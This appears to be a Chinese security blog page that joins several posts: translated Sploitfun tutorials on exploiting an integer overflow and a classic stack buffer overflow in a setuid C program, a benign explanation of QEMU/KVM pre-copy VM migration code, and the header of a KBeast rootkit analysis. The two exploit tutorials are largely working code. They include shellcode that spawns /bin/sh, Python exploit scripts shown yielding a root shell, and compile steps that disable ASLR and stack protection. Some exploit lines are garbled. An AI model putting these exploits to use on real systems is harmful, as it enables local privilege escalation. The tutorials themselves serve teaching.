35
//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void store_passwd_indb(char* passwd) {
}
void validate_uname(char* uname) {
}
void validate_passwd(char* passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd); /* [1] */
if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
printf("Valid Password\n"); /* [3] */
fflush(stdout);
strcpy(passwd_buf,passwd); /* [4] */
} else {
printf("Invalid Password\n"); /* [5] */
fflush(stdout);
}
store_passwd_indb(passwd_buf); /* [6] */
}
int main(int argc, char* argv[]) {
if(argc!=3) {
printf("Usage Error: \n");
fflush(stdout);
exit(-1);
}
validate_uname(argv[1]);
validate_passwd(argv[2]);
return 0;
}

编译命令:

1
2
3
4
5
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

上述漏洞程序的第[1]行存在整型溢出。strlen()返回的类型是size_t(无符号整型),却被存储在无符号字符串类型中。因此,任意超过无符号字符串数据类型支持的最大上限值的数据都会导致整型溢出。这样一来,当密码长度为261时,261就会被错乱存储在‘passwd_len’变量中,值会变为5。正是由于这种整型溢出漏洞,第[2]行执行的边界检查才能被绕过,从而导致栈缓冲区溢出!而在这一篇文章中我们知道,栈缓冲区溢出会导致任意程序执行。

为了让大家更好地理解漏洞利用代码,我们在对它做进一步的分析之前,先来反汇编并画出漏洞代码的堆栈布局吧!

反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
(gdb) disassemble validate_passwd
Dump of assembler code for function validate_passwd:
//Function Prologue
0x0804849e <+0>: push %ebp //backup caller's ebp
0x0804849f <+1>: mov %esp,%ebp //set callee's ebp to esp
0x080484a1 <+3>: push %edi //backup edi
0x080484a2 <+4>: sub $0x34,%esp //stack space for local variables
0x080484a5 <+7>: mov 0x8(%ebp),%eax //eax = passwd
0x080484a8 <+10>: movl $0xffffffff,-0x1c(%ebp) //String Length Calculation -- Begins here
0x080484af <+17>: mov %eax,%edx
0x080484b1 <+19>: mov $0x0,%eax
0x080484b6 <+24>: mov -0x1c(%ebp),%ecx
0x080484b9 <+27>: mov %edx,%edi
0x080484bb <+29>: repnz scas %es:(%edi),%al
0x080484bd <+31>: mov %ecx,%eax
0x080484bf <+33>: not %eax
0x080484c1 <+35>: sub $0x1,%eax //String Length Calculation -- Ends here
0x080484c4 <+38>: mov %al,-0x9(%ebp) //passwd_len = al
0x080484c7 <+41>: cmpb $0x3,-0x9(%ebp) //if(passwd_len <= 4 )
0x080484cb <+45>: jbe 0x8048500 <validate_passwd+98> //jmp to 0x8048500
0x080484cd <+47>: cmpb $0x8,-0x9(%ebp) //if(passwd_len >=8)
0x080484d1 <+51>: ja 0x8048500 <validate_passwd+98> //jmp to 0x8048500
0x080484d3 <+53>: movl $0x8048660,(%esp) //else arg = format string "Valid Password"
0x080484da <+60>: call 0x80483a0 <puts@plt> //call puts
0x080484df <+65>: mov 0x804a020,%eax //eax = stdout
0x080484e4 <+70>: mov %eax,(%esp) //arg = stdout
0x080484e7 <+73>: call 0x8048380 <fflush@plt> //call fflush
0x080484ec <+78>: mov 0x8(%ebp),%eax //eax = passwd
0x080484ef <+81>: mov %eax,0x4(%esp) //arg2 = passwd
0x080484f3 <+85>: lea -0x14(%ebp),%eax //eax = passwd_buf
0x080484f6 <+88>: mov %eax,(%esp) //arg1 = passwd_buf
0x080484f9 <+91>: call 0x8048390 <strcpy@plt> //call strcpy
0x080484fe <+96>: jmp 0x8048519 <validate_passwd+123> //jmp to 0x8048519
0x08048500 <+98>: movl $0x804866f,(%esp) //arg = format string "Invalid Password"
0x08048507 <+105>: call 0x80483a0 <puts@plt> //call puts
0x0804850c <+110>: mov 0x804a020,%eax //eax = stdout
0x08048511 <+115>: mov %eax,(%esp) //arg = stdout
0x08048514 <+118>: call 0x8048380 <fflush@plt> //fflush
0x08048519 <+123>: lea -0x14(%ebp),%eax //eax = passwd_buf
0x0804851c <+126>: mov %eax,(%esp) //arg = passwd_buf
0x0804851f <+129>: call 0x8048494 //call store_passwd_indb
//Function Epilogue
0x08048524 <+134>: add $0x34,%esp //unwind stack space
0x08048527 <+137>: pop %edi //restore edi
0x08048528 <+138>: pop %ebp //restore ebp
0x08048529 <+139>: ret //return
End of assembler dump.
(gdb)

堆栈布局:




刚才讲到,一个长度为261的密码会绕过边界检查,并且允许我们覆盖存储于栈内的返回地址。那么好,我们来通过发送一串A的方法进行测试。

0X03 利用整型溢出漏洞

测试第一步:这样做是否会覆盖返回地址?

1
2
3
4
5
6
7
8
9
10
11
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/iof/vuln...(no debugging symbols found)...done.
(gdb) r sploitfun `python -c 'print "A"*261'`
Starting program: /home/sploitfun/lsploits/iof/vuln sploitfun `python -c 'print "A"*261'`
Valid Password
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)

测试第二步:来自目标缓冲区的偏移量是什么?

在这里我们来找找缓冲区‘passed_buf’中返回地址的偏移处于什么位置。之前我们已经反汇编并画出了validate_passwd()的堆栈布局,那么现在就试着找出代码的偏移位置信息吧!由堆栈布局可以看出,返回地址位于缓冲区‘passwd_buf’的偏移(0x18)处。(0x18)计算方式如下:

0X03 0x18 = 0xb + 0x1 + 0x4 + 0x4 + 0x4

其中:

  • 0xb 是 ‘passwd_buf’ 大小
  • 0x1 是 ‘passwd_len’ 大小
  • 0x4 是 对齐空间
  • 0x4 是 EDI
  • 0x4 是调用者的EBP

这样一来,用户输入 “A” 24 + “B” 4 + “C” * 233,就能以一串“A”覆盖passwd_buf, passwd_len, 对齐空间和调用者的EBP,以“BBBB”覆盖返回地址,以一串C覆盖剩余空间。

1
2
3
4
5
6
7
8
9
10
11
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/iof/vuln...(no debugging symbols found)...done.
(gdb) r sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'`
Starting program: /home/sploitfun/lsploits/iof/vuln sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'`
Valid Password
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)

上述输出结果表明攻击者已然获得返回地址的控制权限。存储于栈(0xbffff1fc)中的返回地址已被“BBBB”覆盖。掌握了以上信息,我们就可以写出能实现任意代码执行的漏洞利用代码了。

漏洞利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
arg1 = "sploitfun"
#Stack address where shellcode is copied.
ret_addr = 0xbffff274
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",numunk + RA + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108
print "Calling vulnerable program"
call(["./vuln", arg1, arg2])

执行上述漏洞利用程序可以获取root shell,如下所示

1
2
3
4
5
6
7
$ python exp.py
Calling vulnerable program
Valid Password
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

参考文章:

  1. phrack-integerflow

转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-整型溢出利用》与作者信息:CSysSec出品

经典栈缓冲区溢出


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-经典栈缓冲区溢出


  • 0X01 什么是缓冲区溢出(Buffer Overflow)
  • 0X02 什么是任意代码执行(Arbitrary Code Execution)
  • 0X03 如何实现任意代码执行

VM Setup: Ubuntu 12.04 (x86)

虽然你能在网上找到很多缓冲区溢出漏洞利用系列教程,但本文肯定是其中最最简单的一篇。尽管内容与其他文章多有重复,并且同类文章已经有了很多,我仍然愿意出一篇独家教程,因为这篇博文将是我后续发布的众多文章的阅读前提。

0X01 什么是缓冲区溢出(Buffer Overflow)

将源缓冲区复制到目标缓冲区时,以下情况可能导致缓冲区溢出的情况发生:

  1. 源字符串长度大于目标字符串长度
  2. 没有执行缓冲区大小检查

缓冲区溢出分两类:

  1. 栈缓冲区溢出——此时目标缓冲区存放于栈中
  2. 堆缓冲区溢出——此时目标缓冲区存放于堆中

这篇文章里,我只讨论栈缓冲区溢出问题。堆缓冲区溢出请参见Linux (x86) 漏洞利用教程系列中的第三部分

缓冲区溢出漏洞会导致任意代码执行的发生。

0X02 什么是任意代码执行(arbitrary code execution)

任意代码执行允许攻击者执行代码来获得系统控制权。获得系统控制权的方法有很多,比如触发一个root shell、添加一个新用户、建立一个网络端口等等。

听起来挺有趣的吧?话不多说,来看一则典型漏洞代码吧!

漏洞代码:

1
2
3
4
5
6
7
8
9
10
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}

编译命令:

1
2
3
4
5
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

上述漏洞程序的第[2]行显示,该程序中存在缓冲区溢出漏洞。由于缓冲区内容是用户提供的输入值,因此这个缓冲区溢出漏洞很可能导致系统执行任意代码。

注:本系列所有文章中第[N]行代码指的的代码中显示/*[N]*/的位置。

0X03 如何实现任意代码执行是如何实现的

任意代码执行是通过“返回地址覆盖(Return Address
Overwrite)”
技术实现的。这种方法帮助攻击者覆盖掉存储在栈内的返回地址,通过这种覆盖,任意代码执行得以实现。

为了让大家更好地理解漏洞利用代码,我们在对它做进一步的分析之前,先来反汇编并画出漏洞代码的堆栈布局图吧!

反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) disassemble main
Dump of assembler code for function main:
//Function Prologue
0x08048414 <+0>: push %ebp //backup caller's ebp
0x08048415 <+1>: mov %esp,%ebp //set callee's ebp to esp
0x08048417 <+3>: and $0xfffffff0,%esp //stack alignment
0x0804841a <+6>: sub $0x110,%esp //stack space for local variables
0x08048420 <+12>: mov 0xc(%ebp),%eax //eax = argv
0x08048423 <+15>: add $0x4,%eax //eax = &argv[1]
0x08048426 <+18>: mov (%eax),%eax //eax = argv[1]
0x08048428 <+20>: mov %eax,0x4(%esp) //strcpy arg2
0x0804842c <+24>: lea 0x10(%esp),%eax //eax = 'buf'
0x08048430 <+28>: mov %eax,(%esp) //strcpy arg1
0x08048433 <+31>: call 0x8048330 <strcpy@plt> //call strcpy
0x08048438 <+36>: mov $0x8048530,%eax //eax = format str "Input:%s\n"
0x0804843d <+41>: lea 0x10(%esp),%edx //edx = buf
0x08048441 <+45>: mov %edx,0x4(%esp) //printf arg2
0x08048445 <+49>: mov %eax,(%esp) //printf arg1
0x08048448 <+52>: call 0x8048320 <printf@plt> //call printf
0x0804844d <+57>: mov $0x0,%eax //return value 0
//Function Epilogue
0x08048452 <+62>: leave //mov ebp, esp; pop ebp;
0x08048453 <+63>: ret //return
End of assembler dump.
(gdb)

堆栈布局:




根据已有知识,用户输入值大小超过256时会溢出目标缓冲区,并且覆盖存储于栈中的返回地址。让我们来通过发送一串“A”的方法进行测试。

测试第一步: 是否会覆盖返回地址?

1
2
3
4
5
6
7
8
9
10
11
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*300'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*300'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)

上述输出结果显示,EIP被“AAAAA”覆盖了,这就意味着返回地址被覆盖是有可能的!!

测试第二步:来自目标缓冲区的偏移量是什么?

现在我们来找找目标缓冲区‘buf’中返回地址的偏移处于什么位置。
之前我们已经反汇编并画了main()的堆栈布局,那么现在就试着找出代码的偏移位置信息吧!由堆栈布局可以看出,返回地址偏移位于目标缓冲区buf的(0x10c)处。(0x10c)计算方式如下

0X04 0x10c = 0x100 + 0x8 + 0x4

其中:

  • 0X100 是‘buf’大小
  • 0x8 是对齐空间
  • 0x4 是调用者的EBP

这样一来,用户输入“A” 268 + “B” 4中,一串“A”覆盖‘buf’、对齐空间和调用者的EBP,“BBBB”覆盖返回地址。

1
2
3
4
5
6
7
8
9
10
11
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*268 + "B"*4'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*268 + "B"*4'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)

上述输出结果表明攻击者已经获得返回地址的控制权。位于栈 (0xbffff1fc)的返回地址已经被“BBBB”覆盖了。有了这些信息,我们就可以写出能实现任意代码执行的漏洞利用代码了。

漏洞利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",numnk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])

执行上述漏洞利用程序就可以获取root shell,如下所示:

1
2
3
4
5
6
7
8
$ python exp.py
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

注意:为了得到这个root shell,我们舍弃了很多exploit的mitigation方法。其实在整个系列的第一部分,我都特意没用这些exploit的mitigation方法,因为level 1的目标,仅止于普及漏洞知识。如果你真的想学到有意思的知识,就去看Linux (x86)漏洞利用教程系列第二部分吧!到时候我会教你们如何绕过exploit的mitigation方法。


转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-经典栈缓冲区溢出》与作者信息:CSysSec出品

云平台高可用之虚拟机迁移

作者:Diting0x


CSysSec注: 本文来自Diting0x个人博客,主要介绍虚拟机迁移技术,包括虚拟机迁移主要算法以及在KVM/QEMU平台上的迁移细节。
转载本文请务必注明,文章出处:《云平台高可用之虚拟机迁移》与作者信息:Diting0x


  • 什么是云平台高可用
  • 虚拟机迁移主要算法
  • 实现 Pre-copy
  • 思考

什么是云平台高可用

云,一个再熟悉不过的词了。大家都看到了云计算的商业价值,于是乎各大IT公司都纷纷提出自己的云计算服务,有Amozon的EC2,微软的Azure,谷歌的Google AppEngine,腾讯云,百度云,阿里云等。说到Google AppEngine,相信许多用goagent翻墙党都用过这个东西,但估计大家都只忙着使用goagent,却忽略了AppEngine其中提供的云服务。如今,云无处不在,从当今主流产品看,云平台需要满足以下几个需求:

  • 第一,满足多用户的大规模并发访问,想想2015年的双十一,官方数据表明Taobao每秒钟要处理14万订单交易,平均每天也有七八千万访客(具体数据待我问阿里朋友)
  • 第二,处理海量数据,14年,google平均每天要处理57.4亿次查询,处理的数据高达100PB;阿里云的大数据产品ODPS在6个小时内就能处理100PB的数据
  • 第三,提供可持续的服务,如今云平台的用户如此之大,分秒级的停机时间将影响数百万用户,导致数十万美元损失,不管从用户角度还是公司本身角度来看,停机时间过长都是不可容忍的

针对需求一和需求二,当前云平台的解决方案大多是通过分布式协议及系统来组织管理大量的廉价设备,以提供良好的可扩展性,从而满足大量用户的高并发访问需求以及对海量数据的处理能力,这不在本文考虑范围之内,不多叙说。本文只针对第三个需求,提供可持续的服务,也就是云计算平台中常说的高可用性(high availability)。可用性的准确定义是,在需要的外部资源得到保证的前提下,系统在规定的条件和时间内处于可执行功能状态的能力,高可用则定义为用来保障系统可用性达到某一预定水平的系统设计和技术手段。目前,许多云服务提供商都声称自己的云平台能保证较高的可用性,但实际上,近年来云平台的失效事件频繁发生。具体事件,可搜索了解一下。

虚拟化技术是云计算平台的核心支撑技术,虚拟机的强隔离性有效解决了资源的共享使用问题,大大支撑了云计算平台的资源聚合、负载均衡、节能、可扩展等特性。为保证云平台的高可用性,基于虚拟机备份思想的技术应运而生,也是当前云平台为保证高可用性的最主要途径。虚拟机备份思想,主要包括三个方面:

  • 第一,快照回滚(snapshot&rollback),将虚拟机备份状态保存在持久化存储系统中, 在虚拟机因上层软件或底层硬件故障失效后,可以加载备份状态并恢复到之前的运行 状态继续运行
  • 第二,热备技术(hot-standby),将虚拟机执行状态实时传输到目的端计算节点,在检测到源计算节点失效后,目的端的虚拟机状态可立刻恢复并持续提供任务
  • 第三,虚拟机迁移(migration),将虚拟机运行时状态从一台计算节点传输到另一台计算节点,保证虚拟机在源计算节点因失效或维护而停机时可以在目的端继续执行

本文旨在讲解虚拟机迁移技术

虚拟机迁移主要算法

目前运用最广泛最原始的算法是预拷贝(pre-copy)算法和后拷贝(post-copy)算法,Pre-copy算法也被集成在主流虚拟机平台中如Xen,KVM,VMWare的官方源码中, Post-copy虽还没被各主流虚拟机平台集成,但个人实现起来也不是什么难事。 下面主要介绍这两种算法:

Pre-copy, 先引用顶会 NSDI’05 Live Migration of Virtual Machines 论文中的一张图,描述了pre-copy算法的时间线

pre-copy steps
简而言之,大致思想就是先迭代的迁移整个内存的所有页面,迭代过程中,如果页面有更新,则再迁移更新过的页面,直到满足一个条件让迭代过程收敛(这个条件可以自己根据不同情况合理设置),最后再迁移剩余的页面、cpu、寄存器等状态以及外部设备。
贴一个基于Qemu/kvm 1.1.2的pre-copy算法主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
int ram_save_live(QEMUFile *f, int stage, void *opaque)
{
ram_addr_t addr;
uint64_t bytes_transferred_last;
double bwidth = 0;
uint64_t expected_time = 0;
int ret;
if (stage < 0) {
memory_global_dirty_log_stop();
return 0;
}
memory_global_sync_dirty_bitmap(get_system_memory());
if (stage == 1) {
RAMBlock *block;
bytes_transferred = 0;
last_block = NULL;
last_offset = 0;
sort_ram_list();
/* Make sure all dirty bits are set */
QLIST_FOREACH(block, &ram_list.blocks, next) {
for (addr = 0; addr < block->length; addr += TARGET_PAGE_SIZE) {
if (!memory_region_get_dirty(block->mr, addr, TARGET_PAGE_SIZE,
DIRTY_MEMORY_MIGRATION)) {
memory_region_set_dirty(block->mr, addr, TARGET_PAGE_SIZE);
}
}
}
memory_global_dirty_log_start();
qemu_put_be64(f, ram_bytes_total() | RAM_SAVE_FLAG_MEM_SIZE);
QLIST_FOREACH(block, &ram_list.blocks, next) {
qemu_put_byte(f, strlen(block->idstr));
qemu_put_buffer(f, (uint8_t *)block->idstr, strlen(block->idstr));
qemu_put_be64(f, block->length);
}
}
bytes_transferred_last = bytes_transferred;
bwidth = qemu_get_clock_ns(rt_clock);
while ((ret = qemu_file_rate_limit(f)) == 0) {
int bytes_sent;
bytes_sent = ram_save_block(f);
bytes_transferred += bytes_sent;
if (bytes_sent == 0) { /* no more blocks */
break;
}
}
if (ret < 0) {
return ret;
}
bwidth = qemu_get_clock_ns(rt_clock) - bwidth;
bwidth = (bytes_transferred - bytes_transferred_last) / bwidth;
/* if we haven't transferred anything this round, force expected_time to a
* a very high value, but without crashing */
if (bwidth == 0) {
bwidth = 0.000001;
}
/* try transferring iterative blocks of memory */
if (stage == 3) {
int bytes_sent;
/* flush all remaining blocks regardless of rate limiting */
while ((bytes_sent = ram_save_block(f)) != 0) {
bytes_transferred += bytes_sent;
}
memory_global_dirty_log_stop();
}
qemu_put_be64(f, RAM_SAVE_FLAG_EOS);
expected_time = ram_save_remaining() * TARGET_PAGE_SIZE / bwidth;
return (stage == 2) && (expected_time <= migrate_max_downtime());
}
  • 第一阶段,(14-42),代码所有的内存被标记为脏页并初始化页面更新追踪机制
  • 第二阶段,(47-55),如果页面被标记为脏页,则传输这些页面,页面脏位被重置,如果有程序修改页面,页面的脏位又可设置。一般来说,第二阶段是迭代过程最长的
  • 第三阶段,(71-79),那些修改过的却还没有来得及被传输到目的端的页面可以用来计算停机时间,设置一个目标停机时间,当达到这个值的时候,停止第二阶段的迭代过程,进入第三阶段,这时源虚拟机被暂停,将剩余的页面、CPU等状态一同传输到目的端,目的端再重新恢复虚拟机。

pre-copy总体来说能带来很小的停机时间,但不太适合写密集型的负载,写密集型负载会大量更新页面,使得迭代过程结束后的剩余页面增多,延长停机时间。

下面再来看看post-copy算法

Post-copy算法的思想是先暂停源虚拟机,把能保证一次正常运行的最小运行集(所有的CPU状态)传输到目的端,目的端恢复虚拟机的执行,若需要内存页,则产生页错误,主动从源虚拟机中获取。Post-copy能保证尽可能的做到个内存也最多只传输一次,避免pre-copy算法迭代过程中的重复传输;由于不断地从源端获取丢失页,不可避免地带来性能损失。VEE’09 Post-Copy Based Live Virtual Machine Migration Using Adaptive Pre-Paging and Dynamic Self-Ballooning 利用了一种称之为adaptive pre-paging的方法来减少页错误,adaptive pre-paging能尽可能的预测出目的端下一个需要的页面,从而减少页面传输的次数。

实现 Pre-copy

这一章节主要讲述KVM/Qemu关于Pre-copy迁移算法的实现,基于qemu-kvm-1.1.2版本。首先看一下源码中的hmp-commands.hx文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
.name = "migrate",
.args_type = "detach:-d,blk:-b,inc:-i,uri:s",
.params = "[-d] [-b] [-i] uri",
.help = "migrate to URI (using -d to not wait for completion)"
"\n\t\t\t -b for migration without shared storage with"
" full copy of disk\n\t\t\t -i for migration without "
"shared storage with incremental copy of disk "
"(base image shared between src and destination)",
.mhandler.cmd = hmp_migrate,
},
STEXI
@item migrate [-d] [-b] [-i] @var{uri}
@findex migrate
Migrate to @var{uri} (using -d to not wait for completion).
-b for migration with full copy of disk
-i for migration with incremental copy of disk (base image is shared)
ETEXI

每一个Qemu相关命令都需要在此文件中注册,如savevm,snapshot,migrate等,如果想自定义命令,亦是如此,关于如何修改KVM/Qemu源码,可以结合我的 上一篇 文章.

Qemu-kvm利用hmp-commands.hx这个文件保存相应的命令行参数以及常量,然后使用hxtool工具产生对应的头文件hmp-commands.h./x86_64-softmmu文件夹中,这个过程自动进行。注,STEXI与ETEXI之间的内容属于注释内容。从代码中可看到,与迁移命令migrate相对应的处理函数是hmp_migrate,从hmp_migrate函数开始,会依次调用qmp_migrate,tcp_start_outgoing_migration,migrate_fd_connect, migrate_fd_put_ready,具体可看源码,不一一详细介绍。

重点说一下migrate_fd_connect函数与migrate_fd_put_ready函数,
migrate_fd_connect函数主要调用了qemu_savevm_state_begin函数进行迁移工作的初始化工作(对应于前文说的迁移过程的第一阶段),而migrate_fd_connect函数主要调用了qemu_savevm_state_iterate函数(对应第二阶段)与qemu_savevm_state_complete函数(对应第三阶段),这里注意,此三个函数(qemu_savevm_state_beging,qemu_savevm_state_iterate,qemu_savevm_state_complete)里面代码结构非同类似,必有蹊跷,这里贴出其中的qemu_savevm_state_iterate函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int qemu_savevm_state_iterate(QEMUFile *f)
{
SaveStateEntry *se;
int ret = 1;
QTAILQ_FOREACH(se, &savevm_handlers, entry) {
if (se->save_live_state == NULL)
continue;
/* Section type */
qemu_put_byte(f, QEMU_VM_SECTION_PART);
qemu_put_be32(f, se->section_id);
ret = se->save_live_state(f, QEMU_VM_SECTION_PART, se->opaque);
if (ret <= 0) {
/* Do not proceed to the next vmstate before this one reported
completion of the current stage. This serializes the migration
and reduces the probability that a faster changing state is
synchronized over and over again. */
break;
}
}
if (ret != 0) {
return ret;
}
ret = qemu_file_get_error(f);
if (ret != 0) {
qemu_savevm_state_cancel(f);
}
return ret;
}

三个函数都会有一句代码

ret = se->save_live_state(f, QEMU_VM_SECTION_PART, se->opaque); 

只是其中参数不同。

这个save_live_state是什么?

注意,非常重要,存在于虚拟机迁移的核心结构体SaveStateEntry中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct SaveStateEntry {
QTAILQ_ENTRY(SaveStateEntry) entry;
char idstr[256];
int instance_id;
int alias_id;
int version_id;
int section_id;
SaveSetParamsHandler *set_params;
SaveLiveStateHandler *save_live_state;
SaveStateHandler *save_state;
LoadStateHandler *load_state;
const VMStateDescription *vmsd;
void *opaque;
CompatEntry *compat;
int no_migrate;
int is_ram;
} SaveStateEntry;

此结构体存储了虚拟机迁移的用到的所有数据结构,主要包括被传输设备的存储格式以及被调用的具体设备的迁移功能函数. 那指针 *save_live_state 到底做了什么,一一追踪可发现,在vl.c文件中的main函数中(整个qemu程序的开始),针对ram设备,可发现如下一段代码:

register_savevm_live(NULL, "ram", 0, 4, NULL, ram_save_live, NULL, ram_load, NULL);

正是register_savem_live函数将ram_save_live指针传递给了save_live_state,前文说了,ram_save_live便是真正执行迁移工作的函数,这里如果需要自定义迁移工作,修改ram_save_live注册到register_savevm_live函数中就行了。了解清楚这一连串的函数调用关系,便能彻底明白迁移的每一步工作。

思考

本文重点介绍了pre-copy迁移算法的详细过程,并简单介绍了post-copy算法,两个算法各有优缺点,也都各有改进之处。虚拟机迁移的初衷是保证云平台的高可用性,高可用性要尽量减少提供服务的云主机的宕机时间即停机时间,在此同时,也应尽量减少迁移过程中带来的性能开销,就像post-copy若不断的缺页,虽保证了极短的宕机时间,但如果性能损失太大也是无法接受的。目前多数优化迁移算法的工作主要是采取减少传输的内存数据量来实现,而为了减少内存数据量,又有:

  • 压缩内存
  • 基于hash指纹找出相同或类似页面去重
  • 尽可能传输不必要的页面如free页面等

除此之外,也有工作不传输整个内存页面,而是传输内存页面到外部设备的映射关系,目的端则靠此映射关系从外设获取数据。这里不一一列出相关论文,若有兴趣深入者,可自行查阅。笔者也有一部分工作提出了相应的思路与实现,之后会有专门文章作详细介绍。

如果你对迁移算法的优化有什么看法或什么建议,可留言,也可直接与我邮件联系。

参考

崔磊先生的博士论文

NSDI’05 Live Migration of Virtual Machines

VEE’09 Post-Copy Based Live Virtual Machine Migration Using Adaptive Pre-Paging and Dynamic Self-Ballooning


CSysSec注: 本文来自Diting0x个人博客,主要介绍虚拟机迁移技术,包括虚拟机迁移主要算法以及在KVM/QEMU平台上的迁移细节。
转载本文请务必注明,文章出处:《云平台高可用之虚拟机迁移》与作者信息:Diting0x


内核层恶意代码KBeast分析与检测

作者:Diting0x


CSysSec注: 本文来自Diting0x个人博客,该文深入分析了KBeast的原理以及源代码,并给出了检测KBeast实验方法,KBeast是学习内核层恶意代码不错的样本。
